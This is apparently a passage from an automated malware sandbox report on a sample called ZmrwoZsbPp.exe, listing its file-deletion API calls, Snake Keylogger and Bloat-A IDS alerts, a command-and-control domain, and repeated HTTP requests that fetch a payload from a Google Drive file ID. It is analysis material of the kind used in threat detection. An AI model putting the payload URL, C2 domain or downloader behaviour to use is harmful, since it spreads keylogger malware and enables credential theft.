Source: C:\Users\user\Desktop\._cache_ZmrwoZsbPp.exe	Code function: 1_2_00401EC0 FindWindowA,PostMessageA,lstrcpyA,lstrlenA,lstrlenA,lstrcatA,lstrcatA,lstrcatA,FindFirstFileA,lstrlenA,lstrcatA,lstrcatA,lstrlenA,lstrlenA,lstrlenA,SetFileAttributesA,DeleteFileA,FindNextFileA,lstrlenA,lstrcatA,lstrcatA,lstrlenA,lstrlenA,lstrlenA,SetFileAttributesA,DeleteFileA,FindNextFileA,FindClose,lstrcpyA,lstrlenA,lstrcatA,lstrcatA,LoadLibraryA,LoadLibraryA,GetProcAddress,FreeLibrary,lstrcpyA,lstrlenA,lstrcatA,lstrcatA,LoadLibraryA,GetProcAddress,FreeLibrary,lstrcpyA,lstrlenA,lstrcatA,lstrcatA,SetFileAttributesA,DeleteFileA,GetLastError,MoveFileExA,lstrcpyA,lstrlenA,lstrcatA,lstrcatA,lstrlenA,lstrcatA,lstrcatA,lstrcpyA,lstrlenA,lstrcatA,lstrcatA,FindFirstFileA,lstrcpyA,lstrlenA,lstrcatA,lstrcatA,SetFileAttributesA,SetFileAttributesA,DeleteFileA,FindNextFileA,lstrcpyA,lstrlenA,lstrcatA,lstrcatA,SetFileAttributesA,DeleteFileA,FindNextFileA,FindClose,SetFileAttributesA,SetFileAttributesA,lstrcpyA,lstrcpyA,lstrlenA,lstrcatA,lstrcatA,lstrcpyA,lstrlenA,lstrcatA,lstrcatA,FindFirstFileA,lstrcpyA,lstrlenA,lstrcatA,lstrcatA,SetFileAttributesA,DeleteFileA,FindNextFileA,lstrcpyA,lstrlenA,lstrcatA,lstrcatA,SetFileAttributesA,DeleteFileA,FindNextFileA,FindClose,lstrcpyA,lstrlenA,lstrcatA,lstrcatA,lstrlenA,lstrcatA,lstrcatA,RemoveDirectoryA,RemoveDirectoryA,RemoveDirectoryA,lstrlenA,lstrcatA,lstrcatA,RemoveDirectoryA,lstrcatA,SetFileAttributesA,DeleteFileA,DeleteFileA,lstrcatA,SetFileAttributesA,DeleteFileA,lstrcatA,SetFileAttributesA,DeleteFileA,lstrcatA,SetFileAttributesA,DeleteFileA,lstrcatA,SetFileAttributesA,DeleteFileA,lstrcatA,SetFileAttributesA,DeleteFileA,lstrcatA,SetFileAttributesA,DeleteFileA,lstrcatA,SetFileAttributesA,DeleteFileA,lstrcatA,SetFileAttributesA,DeleteFileA,lstrcatA,SetFileAttributesA,DeleteFileA,lstrcatA,SetFileAttributesA,DeleteFileA,lstrcatA,SetFileAttributesA,DeleteFileA,	1_2_00401EC0
Source: C:\Users\user\Desktop\._cache_ZmrwoZsbPp.exe	Code function: 1_2_00402F17 lstrlenA,lstrcatA,lstrcatA,lstrlenA,lstrlenA,lstrlenA,SetFileAttributesA,DeleteFileA,FindNextFileA,FindClose,lstrcpyA,lstrlenA,lstrcatA,lstrcatA,LoadLibraryA,LoadLibraryA,GetProcAddress,FreeLibrary,lstrcpyA,lstrlenA,lstrcatA,lstrcatA,LoadLibraryA,GetProcAddress,FreeLibrary,lstrcpyA,lstrlenA,lstrcatA,lstrcatA,SetFileAttributesA,DeleteFileA,GetLastError,lstrcpyA,lstrlenA,lstrcatA,lstrcatA,lstrcpyA,lstrlenA,lstrcatA,lstrcatA,FindFirstFileA,lstrcpyA,lstrlenA,lstrcatA,lstrcatA,SetFileAttributesA,SetFileAttributesA,DeleteFileA,FindNextFileA,lstrcpyA,lstrlenA,lstrcatA,lstrcatA,SetFileAttributesA,DeleteFileA,FindNextFileA,FindClose,SetFileAttributesA,lstrcpyA,lstrlenA,lstrcatA,lstrcatA,RemoveDirectoryA,RemoveDirectoryA,RemoveDirectoryA,lstrlenA,lstrcatA,lstrcatA,RemoveDirectoryA,lstrcatA,SetFileAttributesA,DeleteFileA,DeleteFileA,lstrcatA,SetFileAttributesA,DeleteFileA,lstrcatA,SetFileAttributesA,DeleteFileA,lstrcatA,SetFileAttributesA,DeleteFileA,lstrcatA,SetFileAttributesA,DeleteFileA,lstrcatA,SetFileAttributesA,DeleteFileA,lstrcatA,SetFileAttributesA,DeleteFileA,lstrcatA,SetFileAttributesA,DeleteFileA,lstrcatA,SetFileAttributesA,DeleteFileA,lstrcatA,SetFileAttributesA,DeleteFileA,lstrcatA,SetFileAttributesA,DeleteFileA,lstrcatA,SetFileAttributesA,DeleteFileA,	1_2_00402F17

Source: C:\Users\user\Desktop\ZmrwoZsbPp.exe	File opened: C:\Users\user\AppData\Roaming	Jump to behavior
Source: C:\Users\user\Desktop\ZmrwoZsbPp.exe	File opened: C:\Users\user	Jump to behavior
Source: C:\Users\user\Desktop\ZmrwoZsbPp.exe	File opened: C:\Users\user\AppData\Roaming\Microsoft\Internet Explorer	Jump to behavior
Source: C:\Users\user\Desktop\ZmrwoZsbPp.exe	File opened: C:\Users\user\AppData\Roaming\Microsoft	Jump to behavior
Source: C:\Users\user\Desktop\ZmrwoZsbPp.exe	File opened: C:\Users\user\AppData\Roaming\Microsoft\Internet Explorer\Quick Launch\desktop.ini	Jump to behavior
Source: C:\Users\user\Desktop\ZmrwoZsbPp.exe	File opened: C:\Users\user\AppData	Jump to behavior

Networking

Suricata IDS alerts for network traffic

Source: Network traffic	Suricata IDS: 2832617 - Severity 1 - ETPRO MALWARE W32.Bloat-A Checkin : 192.168.2.4:49739 -> 69.42.215.252:80
Source: Network traffic	Suricata IDS: 2044887 - Severity 1 - ET MALWARE Snake Keylogger Payload Request (GET) : 192.168.2.4:49767 -> 142.250.181.14:443
Source: Network traffic	Suricata IDS: 2044887 - Severity 1 - ET MALWARE Snake Keylogger Payload Request (GET) : 192.168.2.4:49766 -> 142.250.181.14:443
Source: Network traffic	Suricata IDS: 2044887 - Severity 1 - ET MALWARE Snake Keylogger Payload Request (GET) : 192.168.2.4:49743 -> 142.250.181.14:443
Source: Network traffic	Suricata IDS: 2044887 - Severity 1 - ET MALWARE Snake Keylogger Payload Request (GET) : 192.168.2.4:49755 -> 142.250.181.14:443
Source: Network traffic	Suricata IDS: 2044887 - Severity 1 - ET MALWARE Snake Keylogger Payload Request (GET) : 192.168.2.4:49742 -> 142.250.181.14:443
Source: Network traffic	Suricata IDS: 2044887 - Severity 1 - ET MALWARE Snake Keylogger Payload Request (GET) : 192.168.2.4:49734 -> 142.250.181.14:443
Source: Network traffic	Suricata IDS: 2044887 - Severity 1 - ET MALWARE Snake Keylogger Payload Request (GET) : 192.168.2.4:49733 -> 142.250.181.14:443
Source: Network traffic	Suricata IDS: 2044887 - Severity 1 - ET MALWARE Snake Keylogger Payload Request (GET) : 192.168.2.4:49754 -> 142.250.181.14:443
Source: Network traffic	Suricata IDS: 2044887 - Severity 1 - ET MALWARE Snake Keylogger Payload Request (GET) : 192.168.2.4:49791 -> 142.250.181.14:443
Source: Network traffic	Suricata IDS: 2044887 - Severity 1 - ET MALWARE Snake Keylogger Payload Request (GET) : 192.168.2.4:49792 -> 142.250.181.14:443
Source: Network traffic	Suricata IDS: 2044887 - Severity 1 - ET MALWARE Snake Keylogger Payload Request (GET) : 192.168.2.4:49803 -> 142.250.181.14:443
Source: Network traffic	Suricata IDS: 2044887 - Severity 1 - ET MALWARE Snake Keylogger Payload Request (GET) : 192.168.2.4:49813 -> 142.250.181.14:443
Source: Network traffic	Suricata IDS: 2044887 - Severity 1 - ET MALWARE Snake Keylogger Payload Request (GET) : 192.168.2.4:49777 -> 142.250.181.14:443
Source: Network traffic	Suricata IDS: 2044887 - Severity 1 - ET MALWARE Snake Keylogger Payload Request (GET) : 192.168.2.4:49862 -> 142.250.181.14:443
Source: Network traffic	Suricata IDS: 2044887 - Severity 1 - ET MALWARE Snake Keylogger Payload Request (GET) : 192.168.2.4:49838 -> 142.250.181.14:443
Source: Network traffic	Suricata IDS: 2044887 - Severity 1 - ET MALWARE Snake Keylogger Payload Request (GET) : 192.168.2.4:49812 -> 142.250.181.14:443
Source: Network traffic	Suricata IDS: 2044887 - Severity 1 - ET MALWARE Snake Keylogger Payload Request (GET) : 192.168.2.4:49851 -> 142.250.181.14:443
Source: Network traffic	Suricata IDS: 2044887 - Severity 1 - ET MALWARE Snake Keylogger Payload Request (GET) : 192.168.2.4:49827 -> 142.250.181.14:443
Source: Network traffic	Suricata IDS: 2044887 - Severity 1 - ET MALWARE Snake Keylogger Payload Request (GET) : 192.168.2.4:49828 -> 142.250.181.14:443
Source: Network traffic	Suricata IDS: 2044887 - Severity 1 - ET MALWARE Snake Keylogger Payload Request (GET) : 192.168.2.4:49872 -> 142.250.181.14:443
Source: Network traffic	Suricata IDS: 2044887 - Severity 1 - ET MALWARE Snake Keylogger Payload Request (GET) : 192.168.2.4:49861 -> 142.250.181.14:443
Source: Network traffic	Suricata IDS: 2044887 - Severity 1 - ET MALWARE Snake Keylogger Payload Request (GET) : 192.168.2.4:49802 -> 142.250.181.14:443
Source: Network traffic	Suricata IDS: 2044887 - Severity 1 - ET MALWARE Snake Keylogger Payload Request (GET) : 192.168.2.4:49774 -> 142.250.181.14:443
Source: Network traffic	Suricata IDS: 2044887 - Severity 1 - ET MALWARE Snake Keylogger Payload Request (GET) : 192.168.2.4:49787 -> 142.250.181.14:443
Source: Network traffic	Suricata IDS: 2044887 - Severity 1 - ET MALWARE Snake Keylogger Payload Request (GET) : 192.168.2.4:49878 -> 142.250.181.14:443
Source: Network traffic	Suricata IDS: 2044887 - Severity 1 - ET MALWARE Snake Keylogger Payload Request (GET) : 192.168.2.4:49876 -> 142.250.181.14:443
Source: Network traffic	Suricata IDS: 2044887 - Severity 1 - ET MALWARE Snake Keylogger Payload Request (GET) : 192.168.2.4:49820 -> 142.250.181.14:443
Source: Network traffic	Suricata IDS: 2044887 - Severity 1 - ET MALWARE Snake Keylogger Payload Request (GET) : 192.168.2.4:49871 -> 142.250.181.14:443
Source: Network traffic	Suricata IDS: 2044887 - Severity 1 - ET MALWARE Snake Keylogger Payload Request (GET) : 192.168.2.4:49850 -> 142.250.181.14:443
Source: Network traffic	Suricata IDS: 2044887 - Severity 1 - ET MALWARE Snake Keylogger Payload Request (GET) : 192.168.2.4:49817 -> 142.250.181.14:443
Source: Network traffic	Suricata IDS: 2044887 - Severity 1 - ET MALWARE Snake Keylogger Payload Request (GET) : 192.168.2.4:49837 -> 142.250.181.14:443
Source: Network traffic	Suricata IDS: 2044887 - Severity 1 - ET MALWARE Snake Keylogger Payload Request (GET) : 192.168.2.4:49847 -> 142.250.181.14:443
Source: Network traffic	Suricata IDS: 2044887 - Severity 1 - ET MALWARE Snake Keylogger Payload Request (GET) : 192.168.2.4:49846 -> 142.250.181.14:443
Source: Network traffic	Suricata IDS: 2044887 - Severity 1 - ET MALWARE Snake Keylogger Payload Request (GET) : 192.168.2.4:49786 -> 142.250.181.14:443

C2 URLs / IPs found in malware configuration

Source: Malware configuration extractor

URLs: xred.mooo.com

Uses dynamic DNS services

Source: unknown

DNS query: name: freedns.afraid.org

Source: Joe Sandbox View	IP Address: 13.107.246.63 13.107.246.63
Source: Joe Sandbox View	IP Address: 69.42.215.252 69.42.215.252

Source: Joe Sandbox View	JA3 fingerprint: 28a2c9bd18a11de089ef85a160da29e4
Source: Joe Sandbox View	JA3 fingerprint: a0e9f5d64349fb13191bc781f81f42e1
Source: Joe Sandbox View	JA3 fingerprint: 37f463bf4616ecd445d4a1937da06e19

Source: Network traffic	Suricata IDS: 2028371 - Severity 3 - ET JA3 Hash - Possible Malware - Fake Firefox Font Update : 192.168.2.4:49922 -> 13.107.246.63:443
Source: Network traffic	Suricata IDS: 2028371 - Severity 3 - ET JA3 Hash - Possible Malware - Fake Firefox Font Update : 192.168.2.4:49967 -> 13.107.246.63:443

Source: unknown	UDP traffic detected without corresponding DNS query: 1.1.1.1
Source: unknown	UDP traffic detected without corresponding DNS query: 1.1.1.1
Source: unknown	UDP traffic detected without corresponding DNS query: 1.1.1.1
Source: unknown	UDP traffic detected without corresponding DNS query: 1.1.1.1
Source: unknown	UDP traffic detected without corresponding DNS query: 1.1.1.1
Source: unknown	UDP traffic detected without corresponding DNS query: 1.1.1.1
Source: unknown	UDP traffic detected without corresponding DNS query: 1.1.1.1
Source: unknown	UDP traffic detected without corresponding DNS query: 1.1.1.1
Source: unknown	UDP traffic detected without corresponding DNS query: 1.1.1.1
Source: unknown	UDP traffic detected without corresponding DNS query: 1.1.1.1
Source: unknown	UDP traffic detected without corresponding DNS query: 1.1.1.1
Source: unknown	UDP traffic detected without corresponding DNS query: 1.1.1.1
Source: unknown	UDP traffic detected without corresponding DNS query: 1.1.1.1
Source: unknown	UDP traffic detected without corresponding DNS query: 1.1.1.1
Source: unknown	UDP traffic detected without corresponding DNS query: 1.1.1.1
Source: unknown	UDP traffic detected without corresponding DNS query: 1.1.1.1
Source: unknown	UDP traffic detected without corresponding DNS query: 1.1.1.1
Source: unknown	UDP traffic detected without corresponding DNS query: 1.1.1.1
Source: unknown	UDP traffic detected without corresponding DNS query: 1.1.1.1
Source: unknown	UDP traffic detected without corresponding DNS query: 1.1.1.1
Source: unknown	UDP traffic detected without corresponding DNS query: 1.1.1.1

Source: global traffic	HTTP traffic detected: GET /uc?id=0BxsMXGfPIZfSVlVsOGlEVGxuZVk&export=download HTTP/1.1User-Agent: Synaptics.exeHost: docs.google.comCache-Control: no-cache
Source: global traffic	HTTP traffic detected: GET /uc?id=0BxsMXGfPIZfSVlVsOGlEVGxuZVk&export=download HTTP/1.1User-Agent: Synaptics.exeHost: docs.google.comCache-Control: no-cache
Source: global traffic	HTTP traffic detected: GET /uc?id=0BxsMXGfPIZfSVlVsOGlEVGxuZVk&export=download HTTP/1.1User-Agent: Synaptics.exeHost: docs.google.comCache-Control: no-cache
Source: global traffic	HTTP traffic detected: GET /uc?id=0BxsMXGfPIZfSVlVsOGlEVGxuZVk&export=download HTTP/1.1User-Agent: Synaptics.exeHost: docs.google.comCache-Control: no-cache
Source: global traffic	HTTP traffic detected: GET /download?id=0BxsMXGfPIZfSVlVsOGlEVGxuZVk&export=download HTTP/1.1User-Agent: Synaptics.exeCache-Control: no-cacheHost: drive.usercontent.google.comConnection: Keep-Alive
Source: global traffic	HTTP traffic detected: GET /download?id=0BxsMXGfPIZfSVlVsOGlEVGxuZVk&export=download HTTP/1.1User-Agent: Synaptics.exeCache-Control: no-cacheHost: drive.usercontent.google.comConnection: Keep-Alive
Source: global traffic	HTTP traffic detected: GET /uc?id=0BxsMXGfPIZfSVlVsOGlEVGxuZVk&export=download HTTP/1.1User-Agent: Synaptics.exeHost: docs.google.comCache-Control: no-cache
Source: global traffic	HTTP traffic detected: GET /uc?id=0BxsMXGfPIZfSVlVsOGlEVGxuZVk&export=download HTTP/1.1User-Agent: Synaptics.exeHost: docs.google.comCache-Control: no-cache
Source: global traffic	HTTP traffic detected: GET /uc?id=0BxsMXGfPIZfSVlVsOGlEVGxuZVk&export=download HTTP/1.1User-Agent: Synaptics.exeHost: docs.google.comCache-Control: no-cache
Source: global traffic	HTTP traffic detected: GET /uc?id=0BxsMXGfPIZfSVlVsOGlEVGxuZVk&export=download HTTP/1.1User-Agent: Synaptics.exeHost: docs.google.comCache-Control: no-cache
Source: global traffic	HTTP traffic detected: GET /uc?id=0BxsMXGfPIZfSVlVsOGlEVGxuZVk&export=download HTTP/1.1User-Agent: Synaptics.exeHost: docs.google.comCache-Control: no-cache
Source: global traffic	HTTP traffic detected: GET /download?id=0BxsMXGfPIZfSVlVsOGlEVGxuZVk&export=download HTTP/1.1User-Agent: Synaptics.exeCache-Control: no-cacheHost: drive.usercontent.google.comConnection: Keep-AliveCookie: NID=519=2TRLETcpdYSb1n8_gWEAOIhoYoP59gnLOOm7oFV9-MdxaybFFISp0XHtFBfqBuCWkcOXBH8bnDfU6MwXaXMrdR90foUf91YVZaodGa4GgbiSxLZzbl8kGI7QOaNw4ghwLPqQTeGB-91eWGHD5CmVIr6gFqU3pqzcoa5V2fTtLjb_BPRxBVeVmjk
Source: global traffic	HTTP traffic detected: GET /download?id=0BxsMXGfPIZfSVlVsOGlEVGxuZVk&export=download HTTP/1.1User-Agent: Synaptics.exeCache-Control: no-cacheHost: drive.usercontent.google.comConnection: Keep-AliveCookie: NID=519=2TRLETcpdYSb1n8_gWEAOIhoYoP59gnLOOm7oFV9-MdxaybFFISp0XHtFBfqBuCWkcOXBH8bnDfU6MwXaXMrdR90foUf91YVZaodGa4GgbiSxLZzbl8kGI7QOaNw4ghwLPqQTeGB-91eWGHD5CmVIr6gFqU3pqzcoa5V2fTtLjb_BPRxBVeVmjk
Source: global traffic	HTTP traffic detected: GET /uc?id=0BxsMXGfPIZfSVlVsOGlEVGxuZVk&export=download HTTP/1.1User-Agent: Synaptics.exeHost: docs.google.comCache-Control: no-cache
Source: global traffic	HTTP traffic detected: GET /uc?id=0BxsMXGfPIZfSVlVsOGlEVGxuZVk&export=download HTTP/1.1User-Agent: Synaptics.exeHost: docs.google.comCache-Control: no-cache
Source: global traffic	HTTP traffic detected: GET /uc?id=0BxsMXGfPIZfSVlVsOGlEVGxuZVk&export=download HTTP/1.1User-Agent: Synaptics.exeHost: docs.google.comCache-Control: no-cache
Source: global traffic	HTTP traffic detected: GET /uc?id=0BxsMXGfPIZfSVlVsOGlEVGxuZVk&export=download HTTP/1.1User-Agent: Synaptics.exeHost: docs.google.comCache-Control: no-cache
Source: global traffic	HTTP traffic detected: GET /download?id=0BxsMXGfPIZfSVlVsOGlEVGxuZVk&export=download HTTP/1.1User-Agent: Synaptics.exeCache-Control: no-cacheHost: drive.usercontent.google.comConnection: Keep-AliveCookie: NID=519=2TRLETcpdYSb1n8_gWEAOIhoYoP59gnLOOm7oFV9-MdxaybFFISp0XHtFBfqBuCWkcOXBH8bnDfU6MwXaXMrdR90foUf91YVZaodGa4GgbiSxLZzbl8kGI7QOaNw4ghwLPqQTeGB-91eWGHD5CmVIr6gFqU3pqzcoa5V2fTtLjb_BPRxBVeVmjk
Source: global traffic	HTTP traffic detected: GET /uc?id=0BxsMXGfPIZfSVlVsOGlEVGxuZVk&export=download HTTP/1.1User-Agent: Synaptics.exeHost: docs.google.comCache-Control: no-cache
Source: global traffic	HTTP traffic detected: GET /download?id=0BxsMXGfPIZfSVlVsOGlEVGxuZVk&export=download HTTP/1.1User-Agent: Synaptics.exeCache-Control: no-cacheHost: drive.usercontent.google.comConnection: Keep-AliveCookie: NID=519=2TRLETcpdYSb1n8_gWEAOIhoYoP59gnLOOm7oFV9-MdxaybFFISp0XHtFBfqBuCWkcOXBH8bnDfU6MwXaXMrdR90foUf91YVZaodGa4GgbiSxLZzbl8kGI7QOaNw4ghwLPqQTeGB-91eWGHD5CmVIr6gFqU3pqzcoa5V2fTtLjb_BPRxBVeVmjk
Source: global traffic	HTTP traffic detected: GET /download?id=0BxsMXGfPIZfSVlVsOGlEVGxuZVk&export=download HTTP/1.1User-Agent: Synaptics.exeCache-Control: no-cacheHost: drive.usercontent.google.comConnection: Keep-AliveCookie: NID=519=2TRLETcpdYSb1n8_gWEAOIhoYoP59gnLOOm7oFV9-MdxaybFFISp0XHtFBfqBuCWkcOXBH8bnDfU6MwXaXMrdR90foUf91YVZaodGa4GgbiSxLZzbl8kGI7QOaNw4ghwLPqQTeGB-91eWGHD5CmVIr6gFqU3pqzcoa5V2fTtLjb_BPRxBVeVmjk
Source: global traffic	HTTP traffic detected: GET /uc?id=0BxsMXGfPIZfSVlVsOGlEVGxuZVk&export=download HTTP/1.1User-Agent: Synaptics.exeHost: docs.google.comCache-Control: no-cache
Source: global traffic	HTTP traffic detected: GET /uc?id=0BxsMXGfPIZfSVlVsOGlEVGxuZVk&export=download HTTP/1.1User-Agent: Synaptics.exeHost: docs.google.comCache-Control: no-cache
Source: global traffic	HTTP traffic detected: GET /uc?id=0BxsMXGfPIZfSVlVsOGlEVGxuZVk&export=download HTTP/1.1User-Agent: Synaptics.exeHost: docs.google.comCache-Control: no-cache
Source: global traffic	HTTP traffic detected: GET /uc?id=0BxsMXGfPIZfSVlVsOGlEVGxuZVk&export=download HTTP/1.1User-Agent: Synaptics.exeHost: docs.google.comCache-Control: no-cache
Source: global traffic	HTTP traffic detected: GET /download?id=0BxsMXGfPIZfSVlVsOGlEVGxuZVk&export=download HTTP/1.1User-Agent: Synaptics.exeCache-Control: no-cacheHost: drive.usercontent.google.comConnection: Keep-AliveCookie: NID=519=2TRLETcpdYSb1n8_gWEAOIhoYoP59gnLOOm7oFV9-MdxaybFFISp0XHtFBfqBuCWkcOXBH8bnDfU6MwXaXMrdR90foUf91YVZaodGa4GgbiSxLZzbl8kGI7QOaNw4ghwLPqQTeGB-91eWGHD5CmVIr6gFqU3pqzcoa5V2fTtLjb_BPRxBVeVmjk
Source: global traffic	HTTP traffic detected: GET /uc?id=0BxsMXGfPIZfSVlVsOGlEVGxuZVk&export=download HTTP/1.1User-Agent: Synaptics.exeHost: docs.google.comCache-Control: no-cache
Source: global traffic	HTTP traffic detected: GET /download?id=0BxsMXGfPIZfSVlVsOGlEVGxuZVk&export=download HTTP/1.1User-Agent: Synaptics.exeCache-Control: no-cacheHost: drive.usercontent.google.comConnection: Keep-AliveCookie: NID=519=2TRLETcpdYSb1n8_gWEAOIhoYoP59gnLOOm7oFV9-MdxaybFFISp0XHtFBfqBuCWkcOXBH8bnDfU6MwXaXMrdR90foUf91YVZaodGa4GgbiSxLZzbl8kGI7QOaNw4ghwLPqQTeGB-91eWGHD5CmVIr6gFqU3pqzcoa5V2fTtLjb_BPRxBVeVmjk
Source: global traffic	HTTP traffic detected: GET /uc?id=0BxsMXGfPIZfSVlVsOGlEVGxuZVk&export=download HTTP/1.1User-Agent: Synaptics.exeHost: docs.google.comCache-Control: no-cache
Source: global traffic	HTTP traffic detected: GET /uc?id=0BxsMXGfPIZfSVlVsOGlEVGxuZVk&export=download HTTP/1.1User-Agent: Synaptics.exeHost: docs.google.comCache-Control: no-cache
Source: global traffic	HTTP traffic detected: GET /uc?id=0BxsMXGfPIZfSVlVsOGlEVGxuZVk&export=download HTTP/1.1User-Agent: Synaptics.exeHost: docs.google.comCache-Control: no-cache
Source: global traffic	HTTP traffic detected: GET /uc?id=0BxsMXGfPIZfSVlVsOGlEVGxuZVk&export=download HTTP/1.1User-Agent: Synaptics.exeHost: docs.google.comCache-Control: no-cache
Source: global traffic	HTTP traffic detected: GET /uc?id=0BxsMXGfPIZfSVlVsOGlEVGxuZVk&export=download HTTP/1.1User-Agent: Synaptics.exeHost: docs.google.comCache-Control: no-cache
Source: global traffic	HTTP traffic detected: GET /uc?id=0BxsMXGfPIZfSVlVsOGlEVGxuZVk&export=download HTTP/1.1User-Agent: Synaptics.exeHost: docs.google.comCache-Control: no-cache
Source: global traffic	HTTP traffic detected: GET /uc?id=0BxsMXGfPIZfSVlVsOGlEVGxuZVk&export=download HTTP/1.1User-Agent: Synaptics.exeHost: docs.google.comCache-Control: no-cache
Source: global traffic	HTTP traffic detected: GET /uc?id=0BxsMXGfPIZfSVlVsOGlEVGxuZVk&export=download HTTP/1.1User-Agent: Synaptics.exeHost: docs.google.comCache-Control: no-cache
Source: global traffic	HTTP traffic detected: GET /uc?id=0BxsMXGfPIZfSVlVsOGlEVGxuZVk&export=download HTTP/1.1User-Agent: Synaptics.exeHost: docs.google.comCache-Control: no-cache
Source: global traffic	HTTP traffic detected: GET /download?id=0BxsMXGfPIZfSVlVsOGlEVGxuZVk&export=download HTTP/1.1User-Agent: Synaptics.exeCache-Control: no-cacheHost: drive.usercontent.google.comConnection: Keep-AliveCookie: NID=519=2TRLETcpdYSb1n8_gWEAOIhoYoP59gnLOOm7oFV9-MdxaybFFISp0XHtFBfqBuCWkcOXBH8bnDfU6MwXaXMrdR90foUf91YVZaodGa4GgbiSxLZzbl8kGI7QOaNw4ghwLPqQTeGB-91eWGHD5CmVIr6gFqU3pqzcoa5V2fTtLjb_BPRxBVeVmjk
Source: global traffic	HTTP traffic detected: GET /download?id=0BxsMXGfPIZfSVlVsOGlEVGxuZVk&export=download HTTP/1.1User-Agent: Synaptics.exeCache-Control: no-cacheHost: drive.usercontent.google.comConnection: Keep-AliveCookie: NID=519=2TRLETcpdYSb1n8_gWEAOIhoYoP59gnLOOm7oFV9-MdxaybFFISp0XHtFBfqBuCWkcOXBH8bnDfU6MwXaXMrdR90foUf91YVZaodGa4GgbiSxLZzbl8kGI7QOaNw4ghwLPqQTeGB-91eWGHD5CmVIr6gFqU3pqzcoa5V2fTtLjb_BPRxBVeVmjk
Source: global traffic	HTTP traffic detected: GET /uc?id=0BxsMXGfPIZfSVlVsOGlEVGxuZVk&export=download HTTP/1.1User-Agent: Synaptics.exeHost: docs.google.comCache-Control: no-cache
Source: global traffic	HTTP traffic detected: GET /uc?id=0BxsMXGfPIZfSVlVsOGlEVGxuZVk&export=download HTTP/1.1User-Agent: Synaptics.exeHost: docs.google.comCache-Control: no-cache
Source: global traffic	HTTP traffic detected: GET /uc?id=0BxsMXGfPIZfSVlVsOGlEVGxuZVk&export=download HTTP/1.1User-Agent: Synaptics.exeHost: docs.google.comCache-Control: no-cache
Source: global traffic	HTTP traffic detected: GET /uc?id=0BxsMXGfPIZfSVlVsOGlEVGxuZVk&export=download HTTP/1.1User-Agent: Synaptics.exeHost: docs.google.comCache-Control: no-cache
Source: global traffic	HTTP traffic detected: GET /uc?id=0BxsMXGfPIZfSVlVsOGlEVGxuZVk&export=download HTTP/1.1User-Agent: Synaptics.exeHost: docs.google.comCache-Control: no-cache
Source: global traffic	HTTP traffic detected: GET /download?id=0BxsMXGfPIZfSVlVsOGlEVGxuZVk&export=download HTTP/1.1User-Agent: Synaptics.exeCache-Control: no-cacheHost: drive.usercontent.google.comConnection: Keep-AliveCookie: NID=519=2TRLETcpdYSb1n8_gWEAOIhoYoP59gnLOOm7oFV9-MdxaybFFISp0XHtFBfqBuCWkcOXBH8bnDfU6MwXaXMrdR90foUf91YVZaodGa4GgbiSxLZzbl8kGI7QOaNw4ghwLPqQTeGB-91eWGHD5CmVIr6gFqU3pqzcoa5V2fTtLjb_BPRxBVeVmjk
Source: global traffic	HTTP traffic detected: GET /uc?id=0BxsMXGfPIZfSVlVsOGlEVGxuZVk&export=download HTTP/1.1User-Agent: Synaptics.exeHost: docs.google.comCache-Control: no-cache
Source: global traffic	HTTP traffic detected: GET /download?id=0BxsMXGfPIZfSVlVsOGlEVGxuZVk&export=download HTTP/1.1User-Agent: Synaptics.exeCache-Control: no-cacheHost: drive.usercontent.google.comConnection: Keep-AliveCookie: NID=519=2TRLETcpdYSb1n8_gWEAOIhoYoP59gnLOOm7oFV9-MdxaybFFISp0XHtFBfqBuCWkcOXBH8bnDfU6MwXaXMrdR90foUf91YVZaodGa4GgbiSxLZzbl8kGI7QOaNw4ghwLPqQTeGB-91eWGHD5CmVIr6gFqU3pqzcoa5V2fTtLjb_BPRxBVeVmjk
Source: global traffic	HTTP traffic detected: GET /uc?id=0BxsMXGfPIZfSVlVsOGlEVGxuZVk&export=download HTTP/1.1User-Agent: Synaptics.exeHost: docs.google.comCache-Control: no-cacheCookie: NID=519=wilSLc7w7Dl2tqHEbtT-2VS6k3jk7Iz9aDWgnxG_NKdjYnR7Fv2lWVEjWXk8djyUe7clSIELRiK7VxSkkdx0H-xPbobSC0UTy5jaL864-5miEIkrD5W9L3D_3V8H90GosV9tqwseNmDupaSzZ05lq-8Y9O88ZER30fdXD2i_kEfS2n6IA4TzRhM
Source: global traffic	HTTP traffic detected: GET /uc?id=0BxsMXGfPIZfSVlVsOGlEVGxuZVk&export=download HTTP/1.1User-Agent: Synaptics.exeHost: docs.google.comCache-Control: no-cacheCookie: NID=519=wilSLc7w7Dl2tqHEbtT-2VS6k3jk7Iz9aDWgnxG_NKdjYnR7Fv2lWVEjWXk8djyUe7clSIELRiK7VxSkkdx0H-xPbobSC0UTy5jaL864-5miEIkrD5W9L3D_3V8H90GosV9tqwseNmDupaSzZ05lq-8Y9O88ZER30fdXD2i_kEfS2n6IA4TzRhM
Source: global traffic	HTTP traffic detected: GET /rules/other-Win32-v19.bundle HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule120600v4s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule224902v2s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule120609v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule120402v21s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule120608v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
